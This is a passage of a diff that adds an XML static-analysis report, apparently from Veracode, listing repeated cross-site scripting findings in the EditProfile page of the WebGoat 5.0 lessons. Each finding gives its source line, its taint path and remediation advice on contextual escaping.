+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"65\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"249\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"140\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"152\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"134\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"142\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"73\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"131\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"102\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"157\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"106\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"61\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"162\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"167\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
